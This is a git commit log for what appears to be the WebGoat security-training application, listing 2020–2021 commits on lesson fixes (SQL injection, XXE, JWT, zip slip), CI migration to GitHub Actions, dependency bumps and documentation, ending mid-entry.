Nanne Baars
5933d226af Add action to warn against PR against master (should be develop) 2021-09-29 18:31:19 +02:00
Nanne Baars
b7ff89243a Add action to warn against PR against master (should be develop) 2021-09-29 18:23:11 +02:00
Nanne Baars
835104c88f Add action to warn against PR against master (should be develop) 2021-09-29 18:21:33 +02:00
Nanne Baars
246b4de1b8 Add action to warn against PR against master (should be develop) 2021-09-29 18:20:08 +02:00
Nanne Baars
49109154a8 Add action to warn against PR against master (should be develop) 2021-09-29 18:12:22 +02:00
Jeroen Willemsen
efca784acf Update sign off command
Signed-off-by: Jeroen Willemsen <jwillemsen@xebia.com>
2021-09-29 16:03:23 +02:00
Nanne Baars
14a6efedf3 Add extra documentation for using the correct algorithm but removing the signature. 2021-09-29 15:21:09 +02:00
Nanne Baars
ef4b7ce1a7 Fix link to signoff commits 2021-09-29 15:16:03 +02:00
Jeroen Willemsen
68a69e9b07 Updated stale to only have those that require input from a user 2021-09-29 14:56:06 +02:00
Jeroen Willemsen
93265a3686 Fix pr template 2021-09-29 14:56:06 +02:00
Jeroen Willemsen
ae87f7eb49 Updated contributing 2021-09-29 14:56:06 +02:00
Jeroen Willemsen
38bae09f82 First iteration of sign off testing 2021-09-29 14:56:06 +02:00
Jeroen Willemsen
75b63ea179 first version of contributing and PR template 2021-09-29 14:56:06 +02:00
Jeroen Willemsen
dd89e56f6e Start of contributing, adding lock and stale (as per example from Juiceshop 2021-09-29 14:56:06 +02:00
Jeroen Willemsen
2cb9c52a7a Added code of conduct 2021-09-29 14:56:06 +02:00
Jeroen Willemsen
e89a59b053 Added funding link 2021-09-29 14:56:06 +02:00
Nanne Baars
40456f25b9 Revert "Added funding link"
This reverts commit a1796f2577.
2021-09-29 14:02:38 +02:00
Nanne Baars
f5604df256 Revert "Added code of conduct"
This reverts commit 96ec4aa909.
2021-09-29 14:02:38 +02:00
Nanne Baars
32bd895632 Revert "Start of contributing, adding lock and stale (as per example from Juiceshop"
This reverts commit 897afa3c2b.
2021-09-29 14:02:38 +02:00
Nanne Baars
ffe400cb76 Remove accidentally added "test" addition 2021-09-29 14:01:57 +02:00
Jeroen Willemsen
897afa3c2b Start of contributing, adding lock and stale (as per example from Juiceshop 2021-09-29 13:57:59 +02:00
Jeroen Willemsen
96ec4aa909 Added code of conduct 2021-09-29 13:57:59 +02:00
Jeroen Willemsen
a1796f2577 Added funding link 2021-09-29 13:57:59 +02:00
Àngel Ollé Blázquez
362248a065 Fix token signature validation 2021-09-29 13:51:17 +02:00
Jeroen Willemsen
9403bbb851 Cleaned up pom, added simple quality test action on push usable for forks of the repo 2021-09-29 11:40:33 +02:00
Àngel Ollé Blázquez
0c285eef5b Merge pull request #1064 from WebGoat/1045
1045
2021-09-29 11:17:51 +02:00
juoum
1461263b60 Update WebGoat/GoatAndWolf version on the documentation to the latest 2021-09-26 14:02:49 +02:00
Àngel Ollé Blázquez
61f2bfa9ec Added jdk badge 2021-09-26 11:05:45 +02:00
Nanne Baars
04d1293a33 #1045: Run build with Java 16 2021-09-23 16:09:28 +02:00
Àngel Ollé Blázquez
9af514f3eb WebWolf DataSource Discovery 2021-09-23 15:57:48 +02:00
Àngel Ollé Blázquez
8e567b0f86 Spoofing an Authentication Cookie lesson 2021-09-23 15:51:17 +02:00
René Zubcevic
a4218b0016 Update start.sh
10 seconds is sometime to fast. WebWolf will fail to start if the database of WebGoat is not up.
2021-09-17 17:13:50 +02:00
Nanne Baars
42369816c9 1026 (#1047)
* Move back to Java 15 as XML parsers fail with XXE lesson

* Documentation improvement
2021-09-17 13:46:58 +02:00
Nanne Baars
3492655f1d Merge branch 'release/v8.2.2' into develop 2021-09-05 14:42:07 +02:00
Nanne Baars
7847e69574 Merge branch 'release/v8.2.2' 2021-09-05 14:41:58 +02:00
Nanne Baars
e75cfbeb11 Adding release notes for version 8.2.2 2021-09-05 14:41:28 +02:00
Nanne Baars
7ec6826abc #1031: Fix lesson
- Hints not shown
- Add more hints
- Incorrect grant statement in lesson as example (removed it)
2021-09-05 14:32:55 +02:00
Nanne Baars
825193bbb5 Update to latest lombok version 2021-09-05 14:32:55 +02:00
Nanne Baars
a14e84d5c5 #1039: Fix token
Replace `name` with `user` and add `admin`
2021-09-05 13:07:56 +02:00
dependabot[bot]
14ab2faeaf Bump jsoup in /webgoat-lessons/cross-site-scripting
Bumps [jsoup](https://github.com/jhy/jsoup) from 1.13.1 to 1.14.2.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.13.1...jsoup-1.14.2)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2021-09-04 16:28:15 +02:00
dependabot[bot]
8e47eac263 Bump docker/build-push-action from 2.4.0 to 2.7.0
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 2.4.0 to 2.7.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v2.4.0...v2.7.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2021-09-04 16:24:45 +02:00
Nanne Baars
6aaa743302 Fix vulnerable components lesson for Java 16. 2021-09-04 16:08:33 +02:00
Nanne Baars
0e08c4bde0 Update documentation related to Docker 2021-08-25 18:59:40 +02:00
Nanne Baars
f7871942da Add mapping for localhost:80 to nginx 2021-08-25 18:59:40 +02:00
Nanne Baars
c8fad66973 #1024: Update landing page 2021-08-22 18:26:58 +02:00
Nanne Baars
9cc0ae5c38 Add -it to Docker command so ctrl+c is working directly 2021-08-22 18:17:48 +02:00
Nanne Baars
9a37a27a3c Add explicit file encoding to the java command to prevent errors like: "It seems the application is startd on a OS with non default UTF-8 encoding:Cp1252"
"
2021-08-14 12:19:49 +02:00
Nanne Baars
453a09e0b4 Fix html 2021-08-14 12:19:49 +02:00
Arshan Dabirsiaghi
d566080a79 fix typo 2021-08-14 10:52:16 +02:00
Nanne Baars
4ce098f39b Pass options directly instead of setting env variables 2021-08-04 10:41:51 +03:00
Nanne Baars
f22e4f55c1 Update release notes 2021-08-04 10:15:38 +03:00
Nanne Baars
15ea31a4df Remove Travis badge and replace with Github actions 2021-08-02 18:46:01 +02:00
Nanne Baars
7881a70273 Merge branch 'release/v8.2.1' 2021-07-30 17:09:53 +03:00
Nanne Baars
032b90d483 Welcome message only when issue is opened 2021-07-30 13:23:10 +03:00
Nanne Baars
a050fa9669 Support multiple platforms 2021-07-29 11:26:17 +03:00
Nanne Baars
60bd04b9aa Move to snapshot version 2021-07-29 11:13:16 +03:00
Nanne Baars
91af9a0ef7 Merge branch 'release/v8.2.0' into develop 2021-07-26 13:03:16 +03:00
Nanne Baars
45c420ed05 Merge branch 'release/v8.2.0' 2021-07-26 13:02:21 +03:00
Nanne Baars
486b81f8ec Push image while releasing 2021-07-26 13:01:01 +03:00
Nanne Baars
eed0feed06 Merge branch 'release/v8.2.0' into develop 2021-05-25 20:56:38 +02:00
Nanne Baars
2c6c103f3b Merge branch 'release/v8.2.0' 2021-05-25 20:55:56 +02:00
Nanne Baars
e9df66ca1f Add release notes 2021-05-24 21:32:29 +02:00
Nanne Baars
1381daf06e Fix zip slip issue on Windows 2021-05-24 16:12:15 +02:00
Nanne Baars
ac542ad8b8 Also build on release branches 2021-05-23 21:28:49 +02:00
Nanne Baars
a2677cee58 Update to latest Maven version 2021-05-23 21:19:06 +02:00
Nanne Baars
a641a19615 Add zip slip to path traversal lesson 2021-05-23 21:18:56 +02:00
Nanne Baars
a91d45dea5 Fix other macros as well 2021-05-23 20:11:23 +02:00
Nanne Baars
81c551552b Fix layout issue image 2021-05-23 20:11:23 +02:00
Nanne Baars
69a370f438 New release, updating pom.xml 2021-05-23 20:11:23 +02:00
René Zubcevic
3aa791bc1b dependabot suggested updates (#1005) 2021-05-19 18:20:59 +02:00
René Zubcevic
a53ba0af5c Fix for accidentally disabled integration tests (#997)
* drop column is no longer required due to better db seperation
'

* integration test fix with BeforeAll
2021-05-19 18:20:31 +02:00
Nanne Baars
a1071e9c00 Fix return type of asciidoctor macro implementation. 2021-04-23 15:11:56 +02:00
Nanne Baars
70cda80176 Revert to older version of bootstrap, requires more work to get the layout working again
Especially the mailbox is not working in Bootstrap version 4
2021-04-23 10:21:19 +02:00
Nanne Baars
ac0cb3560c Fix merge conflicts for README 2021-04-22 20:58:05 +02:00
Nanne Baars
d9712e7589 Add distribution tag for Java action v2 2021-04-22 20:32:57 +02:00
dependabot[bot]
cfe763f98d Bump actions/setup-java from v1 to v2
Bumps [actions/setup-java](https://github.com/actions/setup-java) from v1 to v2.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v1...8764a52df183aa0ccea74521dfd9d506ffc7a19a)

Signed-off-by: dependabot[bot] <support@github.com>
2021-04-22 20:32:57 +02:00
Nanne Baars
4869616176 Simplify Docker image with regards to creating the webgoat user 2021-04-22 20:12:01 +02:00
dependabot[bot]
30abcc0a1a Bump actions/cache from v2.1.4 to v2.1.5
Bumps [actions/cache](https://github.com/actions/cache) from v2.1.4 to v2.1.5.
- [Release notes](https://github.com/actions/cache/releases)
- [Commits](https://github.com/actions/cache/compare/v2.1.4...1a9e2138d905efd099035b49d8b7a3888c653ca8)

Signed-off-by: dependabot[bot] <support@github.com>
2021-04-16 13:33:37 +02:00
unknown
38f1d52bf3 Corrected typos and poor grammar found in the SQL Injection lessons. 2021-04-16 13:29:01 +02:00
Nanne Baars
e49f5d610f #961: Give each user its own schema for the lessons
This way we can reset a lesson using the database for each user and not for all users at once.
Also solves the issue that when someone solves the lesson it is solved for all users on the same WebGoat instance
2021-04-16 13:28:07 +02:00
Nanne Baars
04d065fd87 Update Dockerfile 2021-04-16 13:27:05 +02:00
Nanne Baars
d345a9a716 Remove obsolete Docker configuration 2021-04-16 13:27:05 +02:00
Nanne Baars
2d8d898fb7 Remove documentation about Docker compose and stack from README
Spring cleanup to make it a bit easier for users to only offer two options: Docker and stand alone version
2021-04-16 13:27:05 +02:00
Nanne Baars
ad9ee094b4 Remove all scripts
Part of the Travis build we use to have no longer needed as we moved to Github actions
2021-04-16 13:27:05 +02:00
Nanne Baars
cb2277628c Remove docker-compose files
They are old might work but we now have the all in one image which we actively maintain and release
2021-04-16 13:27:05 +02:00
Nanne Baars
5869b64ee0 Remove Vagrant image
It is old any never used we only update versions in this file
2021-04-16 13:27:05 +02:00
Nanne Baars
6ae9e44e84 Remove platform dependent deployments
They are part of the repository since 2017 they have never been updated and probably don't work anymore
2021-04-16 13:27:05 +02:00
Nanne Baars
d0f36f5227 Fix failing XXE test 2021-04-03 22:31:27 +02:00
Nanne Baars
5d45fd6260 Update Checkstyle version 2021-04-03 10:58:22 +02:00
Nanne Baars
b3f7a5338e Update to latest versions 2021-04-03 10:58:22 +02:00
Nanne Baars
b858484b97 Copy jar files to target so they are not stored in the current project directory 2021-04-03 10:58:22 +02:00
Nanne Baars
b76330f20f Add minimal Maven version 2021-04-03 10:58:22 +02:00
Nanne Baars
ee1d4b0ac1 Update documentation for Java 15 2021-04-03 10:58:08 +02:00
Nanne Baars
abf431fffb Remove unnecessary plugins in subprojects 2021-04-03 10:58:08 +02:00
Nanne Baars
3e8dbc9bc9 Run build on pull requests as well 2021-04-03 10:58:08 +02:00
Nanne Baars
721edc9985 Move WebGoat to Java 15 2021-04-03 10:58:08 +02:00
unknown
82198424df Corrected typos and poor grammar found in the SQL Injection lessons. 2021-04-02 21:31:11 +02:00
Nanne Baars
ba2cb7d14f #974: Update the lesson text 2021-04-02 07:31:19 +02:00
Nanne Baars
de453fad84 Fix issue with labels in SQL lessons 2021-04-01 17:48:32 +02:00
Nanne Baars
59c96f9890 Fix lesson it no marks it as solved if the user uses a different username 2021-03-31 19:32:47 +02:00
Nanne Baars
f7d3fd586e Remove the span added to the feedback 2021-03-31 19:32:47 +02:00
Nanne Baars
798afc756b Remove as it matches the normal success message 2021-03-31 19:32:47 +02:00
Nanne Baars
59aaab52a9 Disable testcase as it fails on Windows, needs investigation. 2021-03-31 19:31:13 +02:00
Nanne Baars
14621003d7 Remove banner.txt as you can set it with a property in application.properties 2021-03-31 19:31:13 +02:00
Nanne Baars
23f67b3d25 Remove unknown field which is set by reflection 2021-03-31 19:31:13 +02:00
Nanne Baars
1c6de07a54 Move integration test to JUnit 5 2021-03-31 19:31:13 +02:00
Nanne Baars
cda852f4e8 Run unit tests again for all lessons and rewrite all to JUnit 5
Due to the migration to Spring Boot 2.4 the Vintage dependency was no longer included by default, resulting in skipping all unit tests.
2021-03-31 19:31:13 +02:00
Nanne Baars
1d6a5ca01b Run unit tests again and rewrite all to JUnit 5
Due to the migration to Spring Boot 2.4 the Vintage dependency was no longer included by default, resulting in skipping all unit tests.
2021-03-31 19:31:13 +02:00
Nanne Baars
c574a6610b Make sure the release is behind approval 2021-03-31 19:31:13 +02:00
Nanne Baars
ae6d448aa0 Replace ${revision} with real version as Maven
The CI pipeline should take care of this.
2021-03-31 19:31:13 +02:00
webgoat-github
b8bdb8f432 Updating to the new development version 2021-03-30 14:05:26 +00:00
Nanne Baars
3300c47c03 WIP 2021-03-30 16:03:57 +02:00
Nanne Baars
d077a76063 WIP 2021-03-30 16:02:06 +02:00
Nanne Baars
43d13dd1f9 WIP 2021-03-30 16:01:05 +02:00
Nanne Baars
072d99040f WIP 2021-03-30 15:55:18 +02:00
Nanne Baars
4d5968da1a WIP 2021-03-30 15:54:04 +02:00
Nanne Baars
5a3843cf1f WIP 2021-03-30 12:36:48 +02:00
Nanne Baars
5fd0f03fd4 WIP 2021-03-30 11:12:41 +02:00
dependabot[bot]
1cd115ace5 Bump actions/cache from v2 to v2.1.4
Bumps [actions/cache](https://github.com/actions/cache) from v2 to v2.1.4.
- [Release notes](https://github.com/actions/cache/releases)
- [Commits](https://github.com/actions/cache/compare/v2...26968a09c0ea4f3e233fdddbafd1166051a095f6)

Signed-off-by: dependabot[bot] <support@github.com>
2021-03-29 12:12:05 +02:00
Nanne Baars
a9f8ff1090 Use 8.2.0 instead of v8.2.0 2021-03-29 09:30:51 +02:00
Àngel Ollé Blázquez
e114360a5f Fix SQL Injection 2021-03-29 08:28:36 +02:00
Nanne Baars
b16e60f691 Move OWASP dependency check to a Maven profile
This takes way too long to perform each time on a Github action as we cannot cache the image
2021-03-29 08:27:17 +02:00
Nanne Baars
f959e0387e Update Guava dep 2021-03-29 08:27:17 +02:00
Nanne Baars
425eb03a6e Remove docs dir and only keep the redirect to the OWASP website 2021-03-29 08:27:17 +02:00
Nanne Baars
8e312204ee Update to latest version and move the plugins out of the profile section.
Move the configuration files from parent dir to config dir
2021-03-29 08:27:17 +02:00
Nanne Baars
2e733f8594 Fix failing test on Windows
This was found because we migrated to Github actions which causes this test to fail because it uses "\n"
2021-03-29 07:43:07 +02:00
Nanne Baars
4e308d7880 Fix automatic rebase command 2021-03-29 07:30:03 +02:00
Nanne Baars
935871c39a Add some debugging information to know which test cases might have failed 2021-03-29 07:30:03 +02:00
Nanne Baars
ce6e4d2090 Fix issue with looking for all directories one present should be enough 2021-03-29 07:30:03 +02:00
Nanne Baars
68a53bc5dc Fix failing test Windows it fails with a much lower number 2021-03-29 07:30:03 +02:00
René Zubcevic
459d9ad74c Move away from Travis to Github actions 2021-03-29 07:30:03 +02:00
Nanne Baars
e40a26f193 Improve token handling 2021-03-15 17:48:13 +01:00
Nanne Baars
59e04dee6e Fix typo 2021-03-15 17:48:13 +01:00
Nanne Baars
5a16ea514a Fix quiz 2021-03-15 17:48:13 +01:00
Nanne Baars
8d2d82764f Assignment 8 loads JWT key again 2021-03-15 17:48:13 +01:00
Nanne Baars
dedb2f9fef Open new tab when clicking on JWT link for WebWolf 2021-03-15 17:48:13 +01:00
Nanne Baars
8b89667d9d Fix quiz, first should be second 2021-03-15 17:48:13 +01:00
Nanne Baars
d4da2d0efa Convert lesson into using DB instead of using regular expression to check the solution 2021-03-15 17:48:13 +01:00
Nanne Baars
c798e4be32 Fix JWT integration tests 2021-03-15 17:48:13 +01:00
Nanne Baars
1ebd50cb5b WIP 2021-03-15 17:48:13 +01:00
Nanne Baars
f2ab5c1968 Update JWT lesson 2021-03-15 17:48:13 +01:00
Nanne Baars
ead1d6fffb Bootstrap requires jQuery 2021-03-15 17:48:13 +01:00
Nanne Baars
9b81cb44fa Bootstrap loads now, otherwise dropdown etc does not work 2021-03-15 17:48:13 +01:00
Nanne Baars
142631c7a0 WIP 2021-03-15 17:48:13 +01:00
Nanne Baars
e78549fb72 Add JWT encoder to WebWolf 2021-03-15 17:48:13 +01:00
René Zubcevic
431da30946 Selenium test added (#906)
* add a selenium test for firefox

* add geckodriver and firefox to travis

* install updated

* install updated

* try out suggested webdriver dependency class

* add more resilience
2021-02-21 19:57:08 +01:00
Maxim Masiutin
ad5ab4ca2e Fixes #321 (#935)
Copyright year was "20014", replaced to "2014"
Fixed the old github.io URL which no longer exist
See https://github.com/WebGoat/WebGoat/issues/321
2021-02-18 19:06:11 +01:00
strollingHeifer
522f6b5fff Fixed a typo (#936)
Fixed a typo in the documentation and added a colon for better readability
2021-02-18 19:04:00 +01:00
Toshi
c6789d7ce3 Update Apache Maven from 3.2.1 to 3.2.5 (#932)
The version of Maven is not compatible with the plugin "org.codehaus.mojo:flatten-maven-plugin:1.2.5" used in webgoat-container
```
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] Using 'UTF-8' encoding to copy filtered properties files.
[INFO] Copying 1 resource
[INFO] Copying 111 resources
[INFO] The encoding used to copy filtered properties files have not been set. This means that the same encoding will be used to copy filtered properties files as when copying other filtered resources. This might not be what you want! Run your build with --debug to see which files might be affected. Read more at https://maven.apache.org/plugins/maven-resources-plugin/examples/filtering-properties-files.html
[INFO] ------------------------------------------------------------------------
[INFO] Reactor Summary:
[INFO] 
[INFO] webgoat-container ................................. FAILURE [ 18.319 s]
...
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 26.001 s
[INFO] Finished at: 2021-02-06T09:37:58+00:00
[INFO] Final Memory: 49M/162M
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.codehaus.mojo:flatten-maven-plugin:1.2.5:flatten (flatten) on project webgoat-container: The plugin org.codehaus.mojo:flatten-maven-plugin:1.2.5 requires Maven version 3.2.5 -> [Help 1]
```
2021-02-11 15:14:50 +01:00
avivmu
215b3b4e78 Remove redundant escaping in regex (#929) 2021-02-11 15:13:38 +01:00
NatasG
00c4be63f0 Fix sql injection line comments issue. (#925) 2021-01-19 10:47:04 +01:00
Kelly Marchewa
2e581d6bdb docs: update SQLi lesson text (#928)
- corrected typos/grammar issues
  - restructured sentences for clarity
2021-01-19 10:29:16 +01:00
avivmu
b20f6492a3 Simplify regex (#927) 2021-01-15 14:36:04 +01:00
avivmu
74b218b2a7 Use try with resources instead of try (#921)
* Use try with resources instead of try

* Remove unused lesson

* Remove unused fields
2021-01-13 18:21:04 +01:00
René Zubcevic
b219854f81 fix in case external site is down (#919) 2021-01-11 20:15:23 +01:00
avivmu
dea4a9d2a9 Small improvements (#918)
* Typo fix

* No need to use thread-safe object

* Use String case in-sensitive equals
2021-01-11 16:38:14 +01:00
René Zubcevic
6d3f38e2df Update README.MD (#915) 2021-01-11 15:56:50 +01:00
René Zubcevic
60c7fdd0db activation button tested 2020-12-09 19:40:16 +01:00
René Zubcevic
bce4c775bf initial idea for explanation on static code analysis and experience of the fix 2020-12-09 19:40:16 +01:00
René Zubcevic
8bed91a8dc improved threading and logic based on number of calls and number of tests (#910) 2020-12-08 16:03:36 +01:00
René Zubcevic
e78420fa8e fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
f676b3a3d6 fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
8b4240889a fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
262afedb08 fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
9dbd41c830 fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
3aab59e326 fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
0f7a556b9c fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
48b3c6a07d fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
649fce6f42 fix warnings 2020-12-04 08:47:50 +01:00
Gabriel M. Schuyler
b1495a8cd5 Fix typo (#909) 2020-12-03 14:23:23 +01:00
René Zubcevic
69c19d19d4 flattened pom plugin added for easy build of seperate modules (#907) 2020-12-01 17:12:43 +01:00
René Zubcevic
89f43229ab upgrade springboot version and some related unit test fixes (#904)
* upgrade springboot version and some related unit test fixes

* removed log for test

* removed junit version property
2020-11-28 17:35:55 +01:00
René Zubcevic
8235ea0f58 Custom menu (#901)
* added way to customize menu

* fixed unit mock test

* updated release notes

* updated release notes

* default none exclude
2020-11-27 14:36:57 +01:00
René Zubcevic
6bee0f3fa6 layout of page improved and ordered ranking (#903) 2020-11-27 13:58:58 +01:00
René Zubcevic
574039902d changed version to snapshot version and introduced revision parameter
for it
2020-11-27 12:15:19 +01:00
René Zubcevic
090263b279 added start checks with hints on port usage 2020-11-27 12:13:24 +01:00
Eskil Andréen
74cca6d185 Add missing trailing double quote in sql query (#897) 2020-11-19 07:45:07 +01:00
Nanne Baars
f3e3cbd45f Improve navigation bar (#890)
* Remove Raspberry pi Docker file

* Remove old show-source/solution and plan button

* Remove commented out code

* Improve navigation

* Remove underline from navigation and remove margin of left navigation button

* Make arrow a bit smaller so it aligns a bit better with the navigation bar itself
2020-11-13 07:24:52 +01:00
Nanne Baars
db3015e0bc When current lesson is not set do not try to remove selected class as there is no element selected.
The current lesson is now selected correctly so it makes it easier to see which item in the menu is selected
2020-11-04 21:33:57 +01:00
Nanne Baars
fa9b5ae87d Remove option to hide menu with the lessons 2020-11-04 21:33:57 +01:00
Nanne Baars
36cf028334 Remove blinking navigation buttons 2020-11-04 21:33:57 +01:00
Nanne Baars
488a8e934a #843: Add readonly field and update the layout of the assignment 2020-11-04 20:35:05 +01:00
Nanne Baars
753a2db958 #846: add extra test to verify whether the solution is solved for the original user as well 2020-11-04 20:35:05 +01:00
Nanne Baars
37e9359c9e #841: Clarify the lesson based on the comments
- Output messages more clear
- Replace success to failure (otherwise lesson is marked complete immediately)
- Fix the layout of the lesson (remove whitespace update buttons)
2020-11-04 20:35:05 +01:00
Nanne Baars
7b8523dcab #839: fix the SQL statement as this one does not express that the orderBy clause input is user input 2020-11-04 20:35:05 +01:00
Nanne Baars
dac011db78 fix failing test (order) 2020-10-21 08:05:53 +02:00
Nanne Baars
41879c4603 Blind XXE lesson blocks including the file in the comment directly 2020-10-20 22:09:49 +02:00
Nanne Baars
641d75e734 Link to the original lesson for the goal 2020-10-20 22:09:49 +02:00
Kelly Marchewa
e4ec90db8a chore: update CIA grammar and content
- misc. grammatical edits
  - add a few more examples
2020-10-15 08:39:28 +02:00
René Zubcevic
d5f78351a2 lesson pages updated based on comments for #834 and #836 (#864) 2020-08-23 15:36:01 +02:00
René Zubcevic
ef6993c636 improving lesson due to issue #845 2020-07-09 19:21:42 +02:00
René Zubcevic
2d2dc22e19 first step 2020-07-09 19:21:42 +02:00
René Zubcevic
db9e1c4c4f first step 2020-07-09 19:21:42 +02:00
René Zubcevic
317573c897 Small fixes june 2020 (#857)
* issue 849

* another integration test for a challenge

* fixing issue 848

* updated link for issue 833

* fix for 847
2020-07-08 19:26:09 +02:00
Roy Stultiens
ba8444dd85 Update 1proxysetupsteps.adoc (#854)
thanks for the fix
2020-07-04 08:00:32 +02:00
Mike Robinson
219aad0bbc Correcting incorrect information (#835)
Thanks for the improvement. Hope you liked the lesson.
2020-06-19 17:00:43 +02:00
René Zubcevic
1cbaade9ab adjustments for arbitrary user support (openshift guideline) (#830)
* adjustments for arbitrary user support (openshift guideline)

* do not create up front .webgoat
2020-06-08 07:30:55 +02:00
Elie De Brauwer
98d17433f1 HTML Tampering mitigation: Typo fixes 2020-05-25 09:09:26 +02:00
Elie De Brauwer
11a7814626 Dinis Cruz Blog
This was discussed in ticket https://github.com/WebGoat/WebGoat/issues/724 however the Dinis Cruz Blog remains available through a blogspot.com URL which might be more interesting to reference than an web.archive.org link.
2020-05-25 09:08:55 +02:00
Elie De Brauwer
5311db8564 XSS Quiz: Fix 404
The original URL was malformed because it contained a closing ) which did not end up in the link. However the corrected link performs a redirect to the link provided in this patch.
2020-05-25 09:08:09 +02:00
Elie De Brauwer
ae156a4a0f Function AC User: Spelling and grammar fixes. 2020-05-25 09:07:31 +02:00
Elie De Brauwer
9576c6b9da Function AC Lesson 1: Spelling and grammar fixes. 2020-05-25 09:07:31 +02:00
Elie De Brauwer
6c83457231 Function ac intro: Spelling and grammar update 2020-05-25 09:07:31 +02:00
Elie De Brauwer
060851a4a2 IDOR_intro.adoc: Fix 404
The closing ')' in the URL was not taken up in the link causing a 404 when clicking the URL.
2020-05-24 09:57:29 +02:00
Elie De Brauwer
671691a5ed XXE_changing_content_type.adoc: Typo fixes 2020-05-24 09:56:43 +02:00
Elie De Brauwer
f326755190 XXE_intro.adoc: Typo fixes 2020-05-24 09:56:43 +02:00
Elie De Brauwer
99edda6029 XXE_plan.adoc: Typo fixes 2020-05-24 09:56:43 +02:00
Elie De Brauwer
717f852680 InsecureLogin_intro.adoc: Typo fix 2020-05-24 09:56:43 +02:00
Elie De Brauwer
c42d6b15c3 SecurePasswordsAssignment: Fix output formatting
- When solving the solution (entering a correct password) then the 'Score: 4/4' does not start on a new line, instead it is glue to the Estimated cracking time line. As a solution the </br> is added as a suffix on that line (and successive lines).
- Maximum score is 4, not 5 (see also the assignment, and https://github.com/nulab/zxcvbn4j/blob/master/src/main/java/com/nulabinc/zxcvbn/TimeEstimates.java#L23 which is the origin of getScore() )
2020-05-24 09:56:01 +02:00
Elie De Brauwer
dfa3242aeb Delete unused PasswordReset_password_reset_link.adoc
Not referenced in webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html, looks like a placeholder/dead code.
2020-05-24 09:39:18 +02:00
Elie De Brauwer
23762885fa PasswordReset_host_header.adoc: Typo fixes 2020-05-24 09:39:18 +02:00
Elie De Brauwer
60087e441d PasswordReset_SecurityQuestions.adoc: Typo fix. 2020-05-24 09:39:18 +02:00
Elie De Brauwer
2e8d0dd9b5 PasswordReset_plan.adoc: Spelling fixes 2020-05-24 09:38:25 +02:00
Elie De Brauwer
966d7a7aed JWT_refresh.adoc: Fix spelling issues 2020-05-24 09:37:47 +02:00
Nanne Baars
851fd9ae03 Only push to 1 Docker repo 2020-05-23 17:01:13 +02:00
Nanne Baars
637d393889 Update README.MD 2020-05-23 16:40:54 +02:00
Nanne Baars
2dad97bdcb Docker command without -d option to show output int console 2020-05-23 16:39:37 +02:00
Nanne Baars
c0ce72a2bd Remove Github pages, too many things to keep in sync.
Let's keep the focus on the OWASP page and the Github README
2020-05-23 16:35:32 +02:00
Nanne Baars
90ea59cfca Remove Github pages, too many things to keep in sync.
Let's keep the focus on the OWASP page and the Github README
2020-05-23 16:30:42 +02:00
Nanne Baars
c695614fac Fix Docker link 2020-05-23 16:30:42 +02:00
Nanne Baars
304312018b Update README.MD 2020-05-23 16:22:23 +02:00
Nanne Baars
3a2bfc9c24 Cleanup readme 2020-05-23 16:19:22 +02:00
Nanne Baars
3d0f879c12 Remove dep status 2020-05-23 16:17:16 +02:00
Nanne Baars
a4f7059051 Merge branch 'release/v8.1.0' 2020-05-23 14:19:03 +02:00
Nanne Baars
61720b29ea Fix Travis script 2020-05-23 13:40:28 +02:00
Nanne Baars
75700597e6 Merge branch 'release/v8.1.0' into develop 2020-05-22 15:09:11 +02:00
Nanne Baars
bd16fedb33 Merge branch 'release/v8.1.0' 2020-05-22 15:08:50 +02:00
Nanne Baars
39740e069e New release 2020-05-22 14:10:31 +02:00
Nanne Baars
5739705d8a Process review comments 2020-05-22 10:10:42 +02:00
Nanne Baars
9b72610510 Extend XXE lesson with more content and add solution description
Remove obsolete images
Add stylesheet items specific for asciidoctor so we can for icons and source numbering
2020-05-22 10:10:42 +02:00
René Zubcevic
c4a046bd12 Ch1 less default (#814)
* random pincode in challenge1

* unit test fix
2020-05-12 08:49:48 +02:00
René Zubcevic
f520c3589c flag submission fixed (#812) 2020-05-07 11:04:00 +02:00
René Zubcevic
832d6432fc fix for JWT green button and WebWolf intro green button and added jwt int tests (#808) 2020-05-07 08:28:45 +02:00
René Zubcevic
f4838e1233 add int test for acl 2020-05-01 09:15:29 +02:00
René Zubcevic
70771ee854 added a webwolf template error page with some explanation and updated 2017 to 2020 2020-04-30 10:21:53 +02:00
René Zubcevic
9dea696c4c added int test for IDOR and fixed green button issue (#801) 2020-04-29 12:12:11 +02:00
René Zubcevic
2398949396 added ace js for java 2020-04-28 09:33:54 +02:00
Nanne Baars
57c008a697 Fix reading file, added try/catch and added tests 2020-04-28 09:25:39 +02:00
Nanne Baars
2614044918 Fix copying of pictures to WebGoat home directory 2020-04-27 13:07:23 +02:00
Nanne Baars
1aad57ba55 Fix the syntax differences between HSQL and Postgres 2020-04-27 11:45:41 +02:00
Nanne Baars
54610868fe Fix the syntax differences between HSQL and Postgres 2020-04-27 11:45:41 +02:00
Nanne Baars
4831338649 Remove explicit HSQLDB property from WebGoat and use the Spring Boot version 2020-04-27 11:45:41 +02:00
Nanne Baars
3bb7ee46bd Upgrade to Postgres 10 2020-04-27 11:45:41 +02:00
Satoshi SAKAO
1a9ce15e99 fix typo (hint3 will not be shown) 2020-04-27 10:44:39 +02:00
Satoshi SAKAO
